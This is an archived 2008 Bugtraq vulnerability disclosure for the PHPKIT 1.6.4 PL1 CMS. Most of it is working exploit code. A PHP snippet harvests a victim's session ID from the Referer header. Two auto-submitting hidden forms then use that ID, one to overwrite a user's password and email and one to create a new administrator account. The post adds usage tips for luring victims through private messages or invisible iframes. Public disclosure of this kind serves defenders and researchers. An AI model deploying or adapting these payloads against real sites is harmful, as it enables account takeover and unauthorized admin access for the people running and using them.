lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 29 Jan 2008 17:14:34 +0100
From: nbbn@....net
To: bugtraq@...urityfocus.com
Subject: PHPKIT 1.6.4 PL1  2 XSRF Vulnerabilities

###################################################################
PHPKIT 1.6.4 PL1 2 XSRF Vulnerabilites founded by NBBN                                      
###################################################################

Vendor: http://www.phpkit.de/

PHPKIT sends in all link in the forum the sessionid via GET. So if an attacker 
send a link to a victim, for example in a private message, he have the 
sessionid if he filter the Referer:

*******************************************************************************************
<?php                                                                                     
*
$ref = $_SERVER['HTTP_REFERER'];                       // Here is the referer             
*
$sid = substr($ref,strpos($ref,'PHPKITSID=')+10,32);  // Now the atttacker 
have the sessionid.      
?>                                                                                        
* 
*******************************************************************************************



::Vulnerabilites:

There are two vulnerabilities(there more XSRF, but the principle is the same)

1) Update User Profile XSRF (don't ask for current password)
2) Create an admin XSRF




1)
<?php
/*###################################################################################################################################
 PHPKIT 1.6.4 PL1 Change User-Profile Vulnerability founded by NBBN. Founded 
on 26th, January 2008.
#####################################################################################################################################

With this XSRF Exploit an attacker can change the profile of an user. PHPKIT 
sends in all link in the cms the sessionid of the user. And in the profile, 
don't ask for the old password, so we can change, if we have the sessionid 
the users password, email etc.

But where we become the sessionid? This is easy, we must only filter the 
referer and then submit the form.

Usage: Create a php file with this code, upload it and send a pm to the victim 
with this link. If victim click -> profile updated. Better is to create a 
site an then this code in a invisible iframe*/

$ref = $_SERVER['HTTP_REFERER'];                       // Here is the referer
$sid = substr($ref,strpos($ref,'PHPKITSID=')+10,32);  
?>


<html>
<head></head>

<body onLoad="javascript:document.form.submit()">
<form 
action="http://localhost/xampp/phpkit/upload_files/include.php?path=userprofile&mode=edit" 
method="POST" name="form">
<input type="hidden" name="PHPKITSID" value=<?php $sid ?> > <!-- Here is our 
sessionid getting from the referer -->
<input type="hidden" name="ud_nick" value="Admin">    <!-- Enter here the 
victims username -->
<input type="hidden" name="ud_newpw1" value="Pw"> <!-- Define a new 
password -->
<input type="hidden" name="ud_newpw2" value="Pw"><!-- Dito -->
<input type="hidden" name="ud_email" value="email@...vider.tld"> <!-- Here you 
can define a new e-mail address -->
<input type="hidden" name="ud_emailshow" value="1">
<input type="hidden" name="ud_sex" value="d">
<input type="hidden" name="user_bd_day" value="0">
<input type="hidden" name="user_bd_month" value="0">
<input type="hidden" name="user_bd_year" value="0">
<input type="hidden" name="ud_country" value="def">
<input type="hidden" name="ud_hpage" value="">
<input type="hidden" name="ud_aimid" value="">
<input type="hidden" name="ud_yim" value="">
<input type="hidden" name="ud_icqid" value="">
<input type="hidden" name="ud_usersig" value="">
<input type="hidden" name="ud_userqou" value="">
<input type="hidden" name="ud_userhobby" value="">
<input type="hidden" name="action" value="Speichern">
<input type="hidden" name="save" value="Speichern">
</form>
</body></html>





2) Create admin

IMPORTENT: This works only if the admin was logged in the admincp before he 
click the link from the attacker. 

<?php
$r = $_SERVER['HTTP_REFERER'];

$sid = substr($r,strpos($r,'PHPKITSID=')+10,32);
?>
<html>
<head>
</head><body onLoad=javascript:document.edituser.submit()>

<form name="edituser" method="post" 
action="http://localhost/xampp/phpkit/upload_files/pk/include.php?path=useredit&editid=new"><input 
type="hidden" name="PHPKITSID" value=<?php $sid ?> />
   <input type="hidden" name="editid" value="new">

<input type="text" size="25" name="edit_name" value="OIW" maxlength="50" 
class="w90" /> <!-- Username -->
<input type="text" size="25" name="edit_nick" value="OIW" maxlength="50" 
class="w90" /> <!-- username-->
<input type="password" name="edit_password" size="25" class="w90" 
value="Password" />       <!-- A password -->
<input type="hidden" name="edit_status" value="admin">                <!-- 
Status -->
<input type="hidden" name="edit_groupid" value="0"> 
<input class="checkbox" type="checkbox" name="edit_activate" value="1"  
checked />
<input class="checkbox" type="checkbox" name="edit_profillock" value="1"  />
<input type="text" size="25" name="edit_email" value="mail@...l.tld" > <!-- 
Email -->
<input  type="hidden" name="edit_notify" value="1" /></td>
<input type="hidden" name="action" value="Speichern" />
<input type="hidden" name="save" value="Speichern">
</form>
</body></html>

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ